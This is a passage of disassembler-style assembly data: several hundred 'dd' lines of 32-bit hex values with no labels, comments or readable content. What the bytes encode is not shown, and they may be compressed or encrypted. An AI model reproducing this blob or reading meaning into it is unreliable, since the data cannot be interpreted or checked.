		dd 1813A852h, 6601C886h, 0EEC05A0Ch, 2D070605h,	62F8D6F6h
		dd 87756DC8h, 40AB6BBh,	0F3DF801Ch, 31177668h, 70401AE9h
		dd 0B450D2F6h, 0D746F4A6h, 0C120803Fh, 70372BC3h, 0E03F0C3Fh
		dd 0DFE97F1Ah, 0E9CFBA54h, 13BD3770h, 0BBD85D69h, 0D654F0Dh
		dd 3F22BD2Ah, 2B9AEE9h,	0E30B5065h, 5881D2EDh, 0C281B9BFh
		dd 0EA525558h, 0C29FEB50h, 0F699DA37h, 6A299295h, 5BA7648h
		dd 8731734Ch, 1CACF29Eh, 0F5DDDEAh, 8FA53C33h, 0B7532483h
		dd 0B1592BC1h, 0FF71463Bh, 77BE977Eh, 0F6E06412h, 284916B7h
		dd 347606EFh, 0BE00ED10h, 306D2DC2h, 0E0ACEE81h, 0E9120B08h
		dd 0A4A2C692h, 597D5B58h, 6FC70E4Ch, 96EAF613h,	9A9FF7B2h
		dd 53879F9Fh, 5E79F914h, 0BB2E899Dh, 85A5606Bh,	0EB198878h
		dd 919F0482h, 2285DEECh, 0C49AFB53h, 0FA2F0748h, 173DF5D3h
		dd 35C82B47h, 593800BFh, 0EF8157C1h, 12C2EE9Fh,	0D4121CE9h
		dd 9BB8ECEEh, 1729C352h, 2BBB348Bh, 0BB531079h,	0B40FF090h
		dd 6F29334h, 6DF4A512h,	4337C701h, 0F831B915h, 0EDB2292Ah
		dd 964A80C3h, 2957BE2Eh, 86E925DAh, 59975ED0h, 51DBE9AAh
		dd 0D111173Eh, 645D81D8h, 8CC137D5h, 29D3CC49h,	0E5B04B01h
		dd 0B6D8642Ch, 0C68003DFh, 4E6C092h, 63BCEB3h, 0F8B5F0EEh
		dd 0EFCF2066h, 0F439CDFCh, 0E5C08CFEh, 3B070604h, 1243BE9h
		dd 30044F14h, 0F9090586h, 98F17B75h, 1E1EA22Eh,	0EF4AE829h
		dd 0DD9FB8BEh, 1D5F888Ch, 0C5EB4D8h, 0F3D5F864h, 0BFB3050Bh
		dd 516ECB70h, 123D75F2h, 0E118A05Bh, 9E30F641h,	9E4545C6h
		dd 0A742518Eh, 0FE0F2542h, 0FFCD08EAh, 73FF521Dh, 7FE77751h
		dd 8D30A80h, 7A6C670Fh,	83030456h, 9610DA6Ah, 311251E7h
		dd 0EA3C0FCAh, 9AF281C0h, 8D4AB980h, 116A2E91h,	4710B6Bh
		dd 58C30376h, 45AFC568h, 0E818C58Dh, 1EA4C495h,	0E6C412A2h
		dd 4C1BF7D4h, 68410458h, 56823E2Eh, 0AB0C2C01h,	312A6F04h
		dd 58805156h, 4E3E15D7h, 0EA07C470h, 0D42F7741h, 0A957EB86h
		dd 0EFD3D725h, 0C188E528h, 80E6407Fh, 27F0E379h, 0FAA9425Fh
		dd 52D53D82h, 0ED87645Ch, 5A16A704h, 4BC99056h,	0A290B868h
		dd 956A7828h, 0E97053D6h, 0ACEE4AF6h, 0ABCFCBF7h, 0A0B25857h
		dd 4B713B20h, 0AAB13434h, 562D04B3h, 0D3287882h, 14EBCA82h
		dd 1DE5A0Bh, 2B1A0F2Dh,	30DFCB81h, 70957398h, 32159088h
		dd 0D371170Ah, 70FDB160h, 9222413Eh, 0ECC3244h,	72100C8h
		dd 38F9352Bh, 564853F8h, 0A7491032h, 230E053Bh,	54A11A4Ch
		dd 3E07A91Fh, 0A72D89FDh, 0C493EB56h, 0B55568EFh, 0B920A190h
		dd 0BF57010Bh, 7F821E4Ah, 290540BEh, 60E75FFEh,	0CA4A57FDh
		dd 7AB32D77h, 0B6EB84CBh, 91F85BEBh, 2E9B93B1h,	6C610B47h
		dd 248072D4h, 128008A1h, 4FDDF76Fh, 2964C523h, 9202AAABh
		dd 8508F8E5h, 33C05286h, 0F837445Bh, 1856EECAh,	0E4278C8h
		dd 7C2406FFh, 58006232h, 0E9802760h, 81B26435h,	37A1AA64h
		dd 0F94C0F20h, 9D2DB32Eh, 56AECD81h, 0F320267Dh, 12050B78h
		dd 5BC85925h, 85A46F22h, 6A215A1Bh, 4973B190h, 3D701FD5h
		dd 3A3D16D7h, 0A62207AFh, 0EB3F6445h, 7ADBE206h, 51EE073Fh
		dd 60187456h, 9061B6CEh, 0E0F618C1h, 0BE609119h, 0E3D00CC6h
		dd 0E73020CFh, 4F655F18h, 0F8322724h, 19E2B519h, 1B41A61h
		dd 737180B2h, 46AEA42Bh, 6EEFA4FCh, 4B4A45E3h, 0F1F82075h
		dd 0C90166B2h, 683C344Ah, 0BC3C1D93h, 0F81EA5C1h, 0E1002B5Bh
		dd 413EB951h, 0C2464B79h, 697F49C1h, 136B8E2Bh,	7464FA6Dh
		dd 0C0FB62FAh, 34A6FCCBh, 60D1D381h, 0E6EC5823h, 0B06EEC41h
		dd 200CE5ECh, 20665AF1h, 0ED087772h, 0A8B0F7E3h, 919683E9h
		dd 0C2FE81E9h, 230D1468h, 7CB400A6h, 0F607E4C0h, 0B25202D4h
		dd 0FAF9E937h, 2D5420DDh, 7C446838h, 49555B66h,	0DDC64Bh
		dd 0C32A494Fh, 0D7F7177Bh, 54310F4Fh, 9371BB52h, 311114D3h
		dd 0EED001DEh, 0BB93C0F6h, 4EC67D28h, 0DCAD170Dh, 9B93569Ch
		dd 0B3C04869h, 0FB9A9DB4h, 4090B2F0h, 70A5F25Fh, 5DB3B2D6h
		dd 44BF17CCh, 0EF09B381h
		dd 10916206h, 25295848h, 8CB355A3h, 250AB8ACh, 58F2FE5Eh
		dd 0E98040A6h, 0BFABDC8h, 0FEEF8832h, 6570B7Eh,	0F81DA9F1h
		dd 3A3C9CD3h, 90794B4Bh, 0BE2D88F4h, 9D6812A0h,	0F4A2E87Fh
		dd 13D89D50h, 5E927BC0h, 828A7C02h, 0A3B935E0h,	42890FE8h
		dd 7595304Fh, 5420C4A1h, 3533C3Fh, 0C4054001h, 7AA9FCACh
		dd 0D2455E97h, 0D266855Bh, 3E47D7B2h, 6E63D226h, 4609877Dh
		dd 0E07EA16Dh, 60B257C2h, 0B040EEFDh, 5A72014h,	6BD4BF0Eh
		dd 0FB31E59Dh, 49E45699h, 0D4DB7F09h, 53206734h, 3FC6B901h
		dd 0C8294DE0h, 4478CC7Fh, 208C14BFh, 49E66842h,	0CB000C48h
		dd 0C62F954h, 0BD1AA12Ch, 96782D00h, 91F58107h,	2F451717h
		dd 0EEE5C2F7h, 63C38000h, 7F681259h, 0EDCD6371h, 0CC33ECF1h
		dd 46B082C4h, 0D0F32662h, 0FFC4DD5Ah, 0E6387627h, 6DBE2523h
		dd 3CC277D6h, 29C08E8h,	49421EFEh, 600C8277h, 27F809F8h
		dd 0D37AF10Dh, 14FCCB65h, 304AC6E2h, 6420A2E8h,	2633FA58h
		dd 442D0119h, 8CC2FF66h, 0E9CBA2A5h, 84685D16h,	0D782DC38h
		dd 90586C0h, 9D1F9F2Ch,	820D924h, 0E4E2E913h, 0E3078BBDh
		dd 0F06326D6h, 459A7475h, 0D5D02925h, 0C8015C14h, 0E973DA6Eh
		dd 0E56399ABh, 6B1A0D7h, 67BAFA4Ah, 0E8FD9973h,	1760B9B5h
		dd 0FC733426h, 925A7D3Fh, 8743C85Eh, 3DF4EA89h,	89419935h
		dd 5E5DF558h, 0BB64EF2Dh, 0B931AA82h, 0B26A4357h, 21AE8095h
		dd 0B0094CEBh, 0FA12A01Ch, 56CF27Bh, 47429905h,	0E3E9C37Ah
		dd 5E543C12h, 0F9FC8DFBh, 2F947C43h, 25FD5E5Ah,	0E90C38F5h
		dd 0A8A94B79h, 1AF7A1C8h, 0C8AE8355h, 0B85BE4BCh, 5CCBC6BDh
		dd 0BBDBEC85h, 0BF700025h, 5F66E9DAh, 0C2E3B987h, 5F36A068h
		dd 434B7DECh, 6188F822h, 7FEA29FBh, 7EBB43C5h, 102A613h
		dd 0B6CE68B2h, 9ECE8042h, 2634A9DEh, 15371EAAh,	6607F4DDh
		dd 4A7C2D68h, 8072031Ah, 63877EBh, 0BEF32411h, 7606EF3Ah
		dd 49049C13h, 9EE153E9h, 8951F72Bh, 0C778C891h,	0FA132416h
		dd 7C310963h, 0C387C27Eh, 0F2760DFh, 5DC8AFC2h,	7933EE98h
		dd 9C13D32Ch, 7EFC100h,	99231BE9h, 81688475h, 0C950E818h
		dd 0A755CD58h, 30C41CF5h, 0B10AC92Ch, 0D962F653h, 0DC5BDFE2h
		dd 0DAD47ABCh, 18314342h, 7896BE56h, 74F3AEBCh,	76C5680Bh
		dd 0B21C6FC5h, 77D65D23h, 39574B38h, 0E9C5F4ADh, 5AD8A00Ah
		dd 68150505h, 39D43B0Fh, 641071Dh, 5B460B67h, 51017832h
		dd 89E962B1h, 0BAFD3ADBh, 56E8297h, 72CFEB51h, 8D24C18Dh
		dd 39599648h, 7614EF25h, 5A3F6824h, 1D185DC9h, 942EE9D7h
		dd 0F4207E6h, 0F2FD901Ch, 0F7D5CE2h, 5E3CFD41h,	0AC1A9C4Bh
		dd 9E58D940h, 0F67AC2C1h, 0CB39F0C4h, 31A01Eh, 0C2B1116h
		dd 9FE9D329h, 35EC515Fh, 35EBA89Dh, 818F8028h, 48E7E1Dh
		dd 1B88C0AAh, 0BF3435C1h, 10FE0BDFh, 0E404CA8Ch, 0BB01F53Eh
		dd 51F8ABB0h, 2D380A2Dh, 82C325A4h, 50058453h, 305F2DD0h
		dd 0FF6A4B69h, 9F685942h, 0E99BF163h, 6E7F1629h, 29AF135Dh
		dd 68032201h, 48D981E2h, 8030476Dh, 131F43B9h, 8D045D54h
		dd 4D980E59h, 0E76514A9h, 0CD03D06Fh, 30582ADCh, 3362E5B0h
		dd 0E96E6106h, 5D5F787h, 1C80D8B8h, 10CDA853h, 21003956h
		dd 0BF575BDAh, 0EF2CE789h, 96270966h, 0F2D0503Ch, 0D271923Fh
		dd 7FDFABEFh, 87988720h, 0EC330E5Eh, 78A5E06Dh,	5BF985Ah
		dd 65D07B8Dh, 3CAD31h, 5FDB29E7h, 9C233C68h, 540D6096h
		dd 315B4C69h, 82E9C791h, 0E378122Bh, 0F805CA8Fh, 0D8D9E9E2h
		dd 7AB90087h, 0BD753921h, 0C673DE8Ah, 0A74E27FEh, 0FD2CEDA5h
		dd 41740512h, 0FEE7B23Fh, 789D70CAh, 5F2EFA83h,	0CB28FDE0h
		dd 0FB647BF8h, 4AAC050Eh, 14E14586h, 0C6EF00B5h, 7D3F5CAEh
		dd 83402506h, 1AC0083Ah, 432E3437h, 602C8F9Eh, 52561042h
		dd 50972EA5h, 7BF9C01Dh, 1CFA4BEFh, 466CF465h, 0B6D48B84h
		dd 630A8BAFh, 486CE93Bh, 0E0137225h, 0C7690DCh,	515A5747h
		dd 8C8911FDh, 1E77DCA9h, 0C19B1D0h, 56ADE6A9h, 9D92F6EEh
		dd 73F46815h, 0DF3C139Bh, 0C39B70BBh, 0CC092EFDh, 88CB0130h
		dd 0E9060814h, 5B26B5E6h, 2D09A040h, 880A3801h,	414C688Fh
		dd 0BFAA302Eh, 0FB3C21A0h, 0E9F8864Ah, 488F9B8Ah, 0FC073951h
		dd 0D2190E69h, 105F88F3h, 0CF590854h, 271C13E4h, 7E7235F4h
		dd 5CBE8898h, 0D4AF2912h, 91418190h, 0E9C9C745h, 0EE84FB09h
		dd 0B14B3EE6h, 8BFC6A29h, 0B221D1C5h, 7B680B88h, 696FF623h
		dd 0A7FF47FDh, 336CA28Bh, 0DE61663Ah, 0DBFF0E06h, 9565EC1Bh
		dd 0C77F5D89h, 4FE9845Fh, 0C458F5DAh, 1728FD48h, 0AE4D8B5Fh
		dd 0C6040127h, 44C3685Bh, 0D2C0A36Fh, 80F58DA0h, 295AE34h
		dd 775DEB9h, 5082DB28h,	15F9EC88h, 9C4E5D49h, 62C9E92Eh
		dd 75F7B089h, 0BC8A81C2h, 5F31A8E3h, 0D1DCE49Ah, 9FE8CEA2h
		dd 821D22C5h, 7BE23BDh,	75E11DE6h, 0A372F252h, 1259CBFCh
		dd 0ED545369h, 35490B72h, 0EE7E006Eh, 0EC48B016h, 74F10BCAh
		dd 0CC86235Eh, 0C827B11Bh, 54D9C22Ch, 0CA6885D2h, 9E4DF906h
		dd 0B0679D8Bh, 4C159C9Ah, 0C702E0ACh, 318E7C5Ch, 0CE47857h
		dd 548F46F0h, 2A39A31Ch, 0F7027CBFh, 825E799Bh,	2A067301h
		dd 7E42B0C1h, 0AF329710h, 0E8A4BD02h, 0DDFD8702h, 5DEE63C8h
		dd 0AAB7F5A4h, 0E82D5459h, 928EE965h, 0DEBD0784h, 0A243275Fh
		dd 890F8491h, 540DB2D5h, 405A6BFCh, 4A692238h, 6EB560AFh
		dd 17019C52h, 6C57F381h, 0E82A506Bh, 21C302B9h,	72FB808Ch
		dd 0A6B52784h, 81F25A3h, 15B700E4h, 0E6C1CF80h,	301176F7h
		dd 0BA0CF4E7h, 0DCBAB9E9h, 880C719Fh, 801DD55Ch, 76285889h
		dd 59FD3A7Ah, 2F7C6B23h, 1671D54Ah, 0D525A1ACh,	0E9127E9Eh
		dd 3DEF4E55h, 5CF26EAEh, 0B49AA614h, 0A257A381h, 25CFED61h
		dd 0A9EC3E07h, 0BB532B9h, 14F239E9h, 70807A71h,	0C1D05BD5h
		dd 2ADD651Eh, 0BB00A4F3h, 4217CD50h, 0C204814Ah, 0E832AF49h
		dd 0F488B1C4h, 32C5B801h, 593AFCFFh, 0EE1646C4h, 17BB3862h
		dd 0F010BBFEh, 310C6008h, 99691C17h, 0C12B6B51h, 0E960E4F3h
		dd 0B50116CBh, 55528A56h, 68583279h, 0DF7E54BDh, 1E759AFEh
		dd 0BB1E480h, 99B09369h, 2BC67035h, 4B760A11h, 0D05BB85Eh
		dd 706C0CBCh, 626624BCh, 874B1617h, 7F82A460h, 1EECBF80h
		dd 8C15785Ah, 0DD63D91Ah, 7492554Ch, 19582740h,	0E23AC580h
		dd 0EB619333h, 0A868AF08h, 65CF043Eh, 0BFCD3109h, 5CC023CAh
		dd 0A23F092Dh, 0B01DD09Dh, 71D50C94h, 0FF2856CBh, 414A7D98h
		dd 60279791h, 4B7FD527h, 0ABC212F8h, 5ACD7598h,	661EED3h
		dd 213BC4D0h, 378D32Bh,	0B012E95Ch, 0E845BACh, 0E216A9D7h
		dd 0EE42D6DFh, 4011E71Ch, 30361735h, 0E90C2786h, 264A4977h
		dd 0C0AC6EDh, 25FB3EE0h, 852554F0h, 0FB66CBC8h,	0E16301A7h
		dd 68026BC3h, 3E06D9C1h, 2C1E0602h, 796075E3h, 6B10869Dh
		dd 0A0482971h, 0A5028F05h, 35B98079h, 62483B34h, 425C1EB8h
		dd 850C21D8h, 545729Ch,	6EE9EF29h, 2757D1E4h, 0C5CD2B4Fh
		dd 0E1D2B738h, 728E34B9h, 0F62F4F96h, 68665083h, 4810D32Fh
		dd 6006E99Ah, 532C2C8Dh, 28055B5Ah, 13B252E8h, 5F02EA82h
		dd 377E2D5Ah, 5898C278h, 0FC4EDA2h, 0CAE910E7h,	3E939739h
		dd 3F3AE2E9h, 5B510FCCh, 0A24BE82Dh, 6FC557C5h,	47FA18B0h
		dd 64635C38h, 520DFE06h, 770B180Eh, 8A195960h, 8209476h
		dd 44FF5E79h, 0E917038Ch
		dd 500A4B33h, 0A8086CB5h, 65D9EE0Ch, 0F95B4EF8h, 0AD6BC594h
		dd 85C963FDh, 0F5D00BF5h, 862FD59Ch, 62A15EF1h,	0FAC2D021h
		dd 0A25ED625h, 5DA3C2ADh, 22F584Dh, 265930F3h, 4C7DCE31h
		dd 81297E2Dh, 4C13A5Ch,	0B04DB0F9h, 5B434230h, 4B1D59Ch
		dd 142FEA4Eh, 1D44042Fh, 1FBE2C24h, 939F8AD2h, 3B65280Eh
		dd 521F5178h, 409895Dh,	712287E6h, 22F104B2h, 8037FFC2h
		dd 575BF95Fh, 3BB0125Bh, 5708A2EFh, 109DF7CEh, 82D1E7B6h
		dd 21BFBF80h, 8F982D28h, 9EB86640h, 57F497Bh, 9AB8D7C2h
		dd 1D0BBD00h, 0F0BB0E6Ah, 606D7626h, 4EE06C0Ch,	1C32915Eh
		dd 0E2FCA090h, 0EE8AB85Eh, 9F612C7Ch, 0BD6B6AFCh, 0F98C9793h
		dd 0DD05679Fh, 974E6FB6h, 9F2DE5Ch, 0A0A6D3F5h,	2D024F87h
		dd 0A8AC2F8Dh, 94F4ABA5h, 0ECB05A50h, 0A3B174Fh, 827427EAh
		dd 0D0081DC4h, 87B08813h, 68570052h, 1C2846B3h,	0EF32C15Fh
		dd 0C2030604h, 5A8AE1B4h, 0A344973Fh, 141E4C34h, 361F9FB9h
		dd 4D1F78Ch, 81410149h,	0B37A93C9h, 0F45A2063h,	27605781h
		dd 0C0578252h, 24F28D95h, 27A8DFE5h, 8277A109h,	0D15A1394h
		dd 0BC5F1276h, 2FBC4EC7h, 9C3DAEB4h, 0B334A219h, 0E79D2FE9h
		dd 0A202466h, 815F004Ah, 0A91B9CF6h, 0C8FA5678h, 80ACF249h
		dd 132E0B31h, 1468164Eh, 1705F374h, 4D881B7Ch, 300940C5h
		dd 2C58C209h, 46B879Bh,	91FA6645h, 3AE5B3E5h, 153AF447h
		dd 4C665D0Bh, 0D1985C4Bh, 25BE6298h, 676C5AD1h,	0AED6C1F2h
		dd 8F4BA7A8h, 75CF1012h, 2424B2Ch, 47FE408Eh, 0AC014AC4h
		dd 0E9B9B667h, 28BC28AFh, 35736889h, 51EDD30h, 67305581h
		dd 813F40B7h, 2B9CE704h, 81FE433Ch, 83D6427Fh, 7150F31Bh
		dd 0A0CFE61h, 0BCD15D1h, 0E0D01DAFh, 660A2502h,	8BC16035h
		dd 0F58055EFh, 3CB22734h, 6A4A2295h, 805A0067h,	0CBE0EAEBh
		dd 62708EF6h, 581556B7h, 32499768h, 0C96D15DFh,	7E5E7814h
		dd 25BACFC0h, 18C3273Bh, 0FE615AC2h, 12FC3FDDh,	0E66268B1h
		dd 55580846h, 7D30406h,	80AB2946h, 1FD8E952h, 8425ADFh
		dd 400B337Ch, 683FC42h,	0FE9F4CCh, 2100C9A2h, 0D3F75EF3h
		dd 0B5204368h, 3308DC18h, 212F737Ah, 1EEBD0CBh,	657132FEh
		dd 1089E0D6h, 1215535Eh, 8DC4C50Fh, 880030F3h, 7BD56906h
		dd 386537E9h, 0A59741BAh, 4A2FF04Dh, 0E3A36B97h, 0B13AA32Fh
		dd 0C933DEAh, 1413FF12h, 0E91766F6h, 0EFA25360h, 122ACA69h
		dd 2C05A435h, 8C7D9F60h, 335D0243h, 0C74D2F7h, 704C08B9h
		dd 0BA955945h, 0FE075234h, 41944A2Bh, 712E298Dh, 4258A55Ah
		dd 4CD17531h, 3E90FF49h, 7D82CED4h, 0CD259C96h,	381CD7E6h
		dd 2A239AA1h, 9EEC4C9Dh, 2746A10Eh, 5E28A1DBh, 0F22CA497h
		dd 4966847Ah, 7D80AC0Bh, 0DCC280E0h, 1388FAB5h,	2A18EFE9h
		dd 0E0E90A67h, 0D9023A50h, 5C1AA66Eh, 976A2AB3h, 51DAF7DEh
		dd 204C2270h, 59B5D2A0h, 86CE9528h, 80201FB1h, 0C680EE0Dh
		dd 0B051668Fh, 1B7D4C31h, 5C18804Eh, 0C9F0E228h, 4B74B749h
		dd 163F64EBh, 6AAE1A95h, 82031862h, 2F62EFD6h, 0EAF668D5h
		dd 0A5FB7371h, 5D7C40Fh, 80EE011Dh, 193E5CFDh, 9B80A5Ah
		dd 6124050Ah, 38610BCh,	11685954h, 7BC92E48h, 0D90184B8h
		dd 5BDDC181h, 2199EF0Bh, 754FE1C8h, 40B46F8Ch, 2B78B75Dh
		dd 0E6DC4B97h, 0DC0D2F26h, 5200456Eh, 8F340ABAh, 6BF2814Dh
		dd 0EDF00D0Eh, 0C91A5B9Fh, 0DDF24485h, 79EC8231h, 62616854h
		dd 8E00884h, 1910BF24h,	121EDA4Ch, 0E13D666h, 7A02CF62h
		dd 61D770DBh, 2E64514Ah, 0F21C5A8Bh, 9808D623h,	1A522D26h
		dd 0E2E3524Ah, 9EE8156Bh, 7D825680h, 62CB60E0h,	0EA756C2Ch
		dd 0AC0D08h, 8006E5C0h,	95B4FFEDh, 0C530F95Bh, 3D251B38h
		dd 0B3288B66h, 2F61DCDCh, 2A7DF6FFh, 0C8502F9h,	0C24A2CE7h
		dd 0D85CF355h, 37E0CC45h, 53932C68h, 1EA0C2C9h,	0E9D81EDEh
		dd 6DE6979Ah, 9C99BB70h, 597F8482h, 8E9AD03Eh, 0DDB80564h
		dd 871DE553h, 2025E15Bh, 2D17DC77h, 0D8714009h,	0A9080B3Dh
		dd 892E7E41h, 0BEFE4696h, 0DD345F41h, 4107A660h, 0D3B06AF9h
		dd 5CF44026h, 0F6096A9Bh, 846C54E1h, 0EA996850h, 0F73E5FE1h
		dd 14957706h, 0C4C4487h, 2907EF96h, 3B4A60h, 39090850h
		dd 5BF6B84Bh, 831BB002h, 3D77EF9h, 20DA48B0h, 8B895A1Dh
		dd 0F1E84B5Bh, 1A670596h, 304E99ECh, 34BEBF7h, 6882BFA3h
		dd 33EC1D9Eh, 5E27E026h, 2F68A06Ch, 54D68D70h, 1E758803h
		dd 0C5960133h, 29254117h, 828A0F7h, 68800DA1h, 895F2D46h
		dd 60F6FA3Ch, 6803E64Fh, 0F0BB61ECh, 0C0270401h, 0B42E3165h
		dd 2F2DF188h, 83017C74h, 0E73D08EAh, 4FA4E410h,	0C1FB805h
		dd 0C102C1D7h, 8DAD2058h, 6CA0717h, 0F2573C16h,	389FD0F0h
		dd 319842A4h, 13EA2AC5h, 1FAB720Eh, 0C214DE29h,	75E90C08h
		dd 4BE29D7Eh, 2DAFF057h, 21BE2E10h, 853BE917h, 65C8EA5Fh
		dd 0CB4160h, 632907EFh,	5341C49h, 46BB6F93h, 89979A0Eh
		dd 0FBEC00D8h, 27E9535Fh, 246B2194h, 4135B62Fh,	0E32E6624h
		dd 8BB9686h, 0F8278713h, 497B99FBh, 0C559CDFEh,	0C8485028h
		dd 4ED69E4Eh, 6C20EE8Dh, 0B5654AAFh, 562DDCE0h,	0B780DB91h
		dd 30CEB1F6h, 0E25095F9h, 4F24665Ch, 4D04BAEh, 0B0C26552h
		dd 0FD51D088h, 585951E8h, 2CD24C95h, 980FCABEh,	208A6F9h
		dd 553EB100h, 5F0BA4BDh, 91F69D49h, 0EB548500h,	923EE974h
		dd 7FF1B5D8h, 0E1C4E958h, 8DDC92A5h, 7F608212h,	2557EF68h
		dd 0F1C538AAh, 7105EDA0h, 9062F48h, 28DAA0ABh, 89CBA6DCh
		dd 32E5CDh, 273842C7h, 663AB168h, 58955153h, 6A06067Ch
		dd 3EBB7447h, 0EB812E0Bh, 61E9426Dh, 960E27F4h,	12FA374Eh
		dd 0D7530BBEh, 0BCB109ABh, 3DDCF455h, 31412192h, 8016F0D2h
		dd 5AAEE908h, 0EE58AD1h, 2B4408C6h, 0D3075603h,	60CE6451h
		dd 0FB57566h, 0E90DB88Bh, 0BCE35F77h, 0E5BAE5A5h, 0B6387BD0h
		dd 0CE4B4D68h, 0C7D3477h, 0F9C0890Ah, 90E33AC7h, 0F7CA045Ah
		dd 96E7BBD3h, 0F10CF94Eh, 0A63EAD3Eh, 41B6643Ch, 0D10BBC10h
		dd 5620FE1Ch, 766F3199h, 6C880CC0h, 955D3F07h, 797D3F9Ah
		dd 0C9E84EF9h, 1BB1BD01h, 1E87305h, 0C9109538h,	0D4A05352h
		dd 0C3A5F778h, 863F9A23h, 10D668E9h, 0DA3D33A9h, 15E15930h
		dd 0C9B33D04h, 174446C2h, 0A64EDB68h, 82D29114h, 5734C6E9h
		dd 0FDC2EB93h, 0F4FE3B49h, 0C173CE80h, 881EBFEAh, 0C34F5AF3h
		dd 5B939DD2h, 0E9778CBEh, 0B3C2132Eh, 47D95C64h, 0C0A8F22Ah
		dd 2B542C9Bh, 7E9127E9h, 96E905D6h, 9BE91559h, 58014F5h
		dd 58CC198Ch, 21D46813h, 14DC41B8h, 0E8201D02h,	6ED12500h
		dd 63354A07h, 15F32E2Ah, 7F87043Ch, 0F19FF092h,	7E17D00Bh
		dd 57FE603Eh, 6B552C6Dh, 5340106h, 623128BFh, 8251053Bh
		dd 0E0AEAC16h, 5AF4C2A1h, 72069F1h, 334A6A5Eh, 4BD86841h
		dd 64077D76h, 0B9328456h, 0E09437Eh, 57802B6Bh,	0D476220h
		dd 810635FEh, 32549BCEh, 0BB2D20CEh, 79955EF0h,	0F8796243h
		dd 0EE3AF70Bh, 0BCE8F122h, 1220D50Bh, 4F1812ABh, 45348B25h
		dd 0CD56ADB6h, 0AF037F42h, 26150534h, 25785EE2h, 49595B3Eh
		dd 299D8C9h, 19B25850h,	0EA91CD68h, 1735BD36h, 48613BA1h
		dd 0F1181B07h, 3874037Ah, 0CD0C03B0h, 0C2161D1Ah, 3A2D18E5h
		dd 0C27186Bh, 13475EAh,	8021CCDh, 7C6C29E9h, 0A27750EBh
		dd 19511F9Ch, 0FA012879h
		dd 0B450665Bh, 10B22C01h, 0D01909C1h, 513D40E7h, 2B5C8853h
		dd 5B8A21B0h, 9308B38Dh, 0A186D9F9h, 0C5028161h, 5D2F4570h
		dd 4D5B6458h, 0BA4FD8EDh, 0C7296244h, 0E633680Eh, 48047925h
		dd 0BCE94427h, 24B1DBE0h, 27AEB24Fh, 705E4C58h,	57533FD1h
		dd 0B72E28E0h, 2D69266Ch, 0EE570E71h, 0BD20989Ah, 746C1E2Ah
		dd 8527B836h, 0D46DEA98h, 64EF7496h, 5F095841h,	0D686CB0h
		dd 155A2352h, 2F84451Dh, 756642FCh, 6AD08740h, 12B6FAF4h
		dd 8170562Fh, 0E0F5DCC5h, 0B6C53AF6h, 209639FEh, 6313E576h
		dd 67F957C8h, 0C95B0840h, 4A6C5C91h, 0DB9F2C7Eh, 0B8C0EE0h
		dd 0D7D1F312h, 9740008Ah, 6E598182h, 40C42F37h,	0C221C7D1h
		dd 0C12BDA61h, 2BDC9ED8h, 0E85E27A2h, 74C14ECBh, 0BE00C638h
		dd 6658704Fh, 0B0EE0444h, 2780EB4Ch, 4F0AE9F3h,	6BB38CF1h
		dd 0CB361F2Ch, 7712F205h, 84023484h, 75D30B9Eh,	0F7036901h
		dd 0CFC41DAh, 0ED68000Ah, 96D9914Bh, 0E9DBBA51h, 0F97CD341h
		dd 0A61A5849h, 2DECF290h, 1940A9F8h, 56F9975Dh,	4361024Bh
		dd 7EBD0030h, 614ADD0Eh, 0E67042A1h, 21D32668h,	7790C668h
		dd 2E0D64FAh, 0A45B34D5h, 4CEE4CD0h, 7B06CDDFh,	2E30940Ah
		dd 0A088474Ah, 0D2A79408h, 615651DFh, 3D010525h, 0F72189E2h
		dd 0E90E4FA1h, 4F91783Ch, 0FE530228h, 819D672Eh, 0F13F74CEh
		dd 0B9300488h, 9927C59Ch, 39C522F8h, 3B91BEC5h,	3930D001h
		dd 0BCCF4BDAh, 4047C98Dh, 5BB652EAh, 0C1ECF1EBh, 8D67F4F0h
		dd 32B4A2B5h, 645D09DBh, 0C5315BA5h, 4D949BFCh,	0CC977032h
		dd 834F691Bh, 0AAF63880h, 764A9F07h, 7BC71FBEh,	8B26026h
		dd 0F601BBD9h, 2E7C0DFh, 7DE4A82Bh, 28CF0401h, 0DAADE9F8h
		dd 6E77922Ah, 0C047A7Fh, 7FDF2883h, 72830648h, 76DE6062h
		dd 3C63E36h, 249470B7h,	69D01455h, 920BA9F0h, 0B07EA579h
		dd 27BBE93Dh, 0D0DE0112h, 6899668Bh, 2F9CB60Ch,	0AE42DEF6h
		dd 2D704B61h, 0B3530079h, 0E9DD881Bh, 7A8695E4h, 82F26731h
		dd 0BD00ECBAh, 6C6658E6h, 0C206EDC1h, 73E90706h, 0F92D05D6h
		dd 0A05569DFh, 95F42D46h, 0E4F94ED4h, 220BED88h, 1231EA13h
		dd 3080BCEh, 8517411Fh,	9666E3BBh, 4D353398h, 3250E4ECh
		dd 5B2B4C7Fh, 0E29CAAF5h, 71C2B503h, 23312D1Eh,	0C8F2172Dh
		dd 956491DCh, 119254C8h, 2A1E6BDh, 1FF568CBh, 8325401h
		dd 0E902140Ch, 8001760Dh, 906E4A10h, 0EC5A5448h, 1E1607E7h
		dd 196C687Eh, 0FF09A266h, 94F912Ch, 7C9D0512h, 77644CEFh
		dd 0C4ECBB06h, 0E2201F09h, 8EAA0F58h, 30CCE9E9h, 0C3FF86BAh
		dd 0EED14E10h, 0BD554C01h, 4A5917EAh, 0E5F0DDE1h, 88C9A34Dh
		dd 0C171A767h, 0EAE2C70Ch, 0CAA13A42h, 1D57812Bh, 8EC82E3Fh
		dd 654C0FEFh, 0B7A92C4Ah, 0F62D66D6h, 4159E910h, 0D20BDDC2h
		dd 47D80B9Eh, 10575B48h, 0B3428AF6h, 6A3309A4h,	0DEE9237Bh
		dd 4F89CFEFh, 1912A01Ah, 0D0050D7h, 0B37EA6C5h,	41BD2CB6h
		dd 6FF63108h, 4C611ADAh, 4178115Bh, 44E4DB6h, 3F6CA901h
		dd 5C836F97h, 16E019D5h, 4A765805h, 39484F1h, 0AB7963BBh
		dd 33090E8Fh, 0A258FB74h, 7A5681C2h, 17E9632Ch,	77010E45h
		dd 0CC84F9FAh, 33BB8F0h, 3A762EBAh, 16B0E54Ah, 0C1AF9AD1h
		dd 1A5D509Ah, 0C5815208h, 3C0C088Ch, 2ECB1209h,	389A5D5Bh
		dd 0AF260CD5h, 0C74B4AE9h, 0C2468958h, 2ADD6812h, 174DA58Ch
		dd 0B939EB05h, 0D51F9F8Fh, 1C0AF46Bh, 0B69DB32h, 0BF476844h
		dd 0A90D13CDh, 0C8F1E169h, 77E4052Fh, 205E5A80h, 360B65D0h
